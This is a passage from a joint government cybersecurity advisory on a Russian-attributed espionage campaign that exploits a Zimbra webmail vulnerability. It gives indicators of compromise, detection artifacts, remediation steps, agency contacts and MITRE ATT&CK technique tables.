<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
